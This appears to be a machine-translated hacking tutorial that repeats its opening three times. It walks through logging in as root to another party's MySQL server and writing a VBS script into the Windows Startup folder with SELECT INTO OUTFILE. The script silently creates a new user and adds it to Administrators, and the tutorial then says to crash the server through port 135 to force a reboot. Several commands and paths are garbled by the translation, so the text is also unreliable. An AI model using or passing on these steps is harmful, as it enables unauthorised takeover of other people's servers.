The method for testing the root password of the MySQL server is published as follows: 1 Gbit/s connects to the peer mysqlserver mysql-uroot-h192.168.0.1mysql.exe. This program is in the BIN directory where you installed MYSQL. 2. Let's take a look at some databases on the server mysqlshow; by default, MYSQL and TEST are installed.
The methods for testing the root password of the MySQL server are as follows: 1. Connect to the MYSQL server mysql-u root-h 192.168.0.1 mysql.exe. This program is in the BIN directory where you installed MYSQL. 2. Let's see what database mysqlshow databases is on the server; by default, MYSQL and TEST are installed.
The methods for testing the root password of the MySQL server are as follows:
1. Connect to the MYSQL server of the other party
Mysql-u root-h 192.168.0.1
Mysql.exe this program is in the BIN directory where you have installed MYSQL
2. Let's take a look at some databases on the server.
Mysql> show databases;
By default, MYSQL and TEST Databases are installed. If you see other databases, they are user-created databases.
3. Let's enter the database
Mysql> use test;
We will enter the test database.
4. Check the data tables in the database.
Mysql> show tables;
By default, no table exists in test.
The following are key parts:
5. Create a new table under the TEST database;
Mysql> create table a (cmd text );
Now, we have created a new table named a, which stores only one field, the field name is cmd, and the text is text.
6. insert content into the table
Mysql> insert into a values ("set wshshell = createobject (" "wscript. shell "")");
Mysql> insert into a values ("a = wshshell. run (" "cmd.exe/c net user 1/add" ", 0 )");
Mysql> insert into a values ("B = wshshell. run (" "cmd.exe/c net localgroup Administrators 1/add" ", 0 )");
Note that double quotation marks, Parentheses, and "0" must be entered! We will use these three commands to create a VBS script program!
7. Now let's look at what table a has.
Mysql> select * from;
We will see three rows of data in the table, that is, the content we just entered. After confirming that the content you entered is correct, we will proceed to the next step.
8. The output table is a VBS script file.
Mysql> select * from a into outfile "c: \ release E ~ 1 \ alluse ~ 1 \ Start Menu \ Program \ Start \ a. vbs ";
We input the content in our table to the Startup Group, which is a VBS script file! Note the "\" symbol.
9. You will surely know that you can use MYSQL to output an executable file. Why not use BAT, because there will be an obvious DOS window at startup, and the VBS script can completely hide the window without any error prompt! The script should have been deleted automatically after the script is completed, but the Chinese directory cannot be processed! Okay. Find a tool attack 135 and restart the server. In a few minutes, you will be the administrator.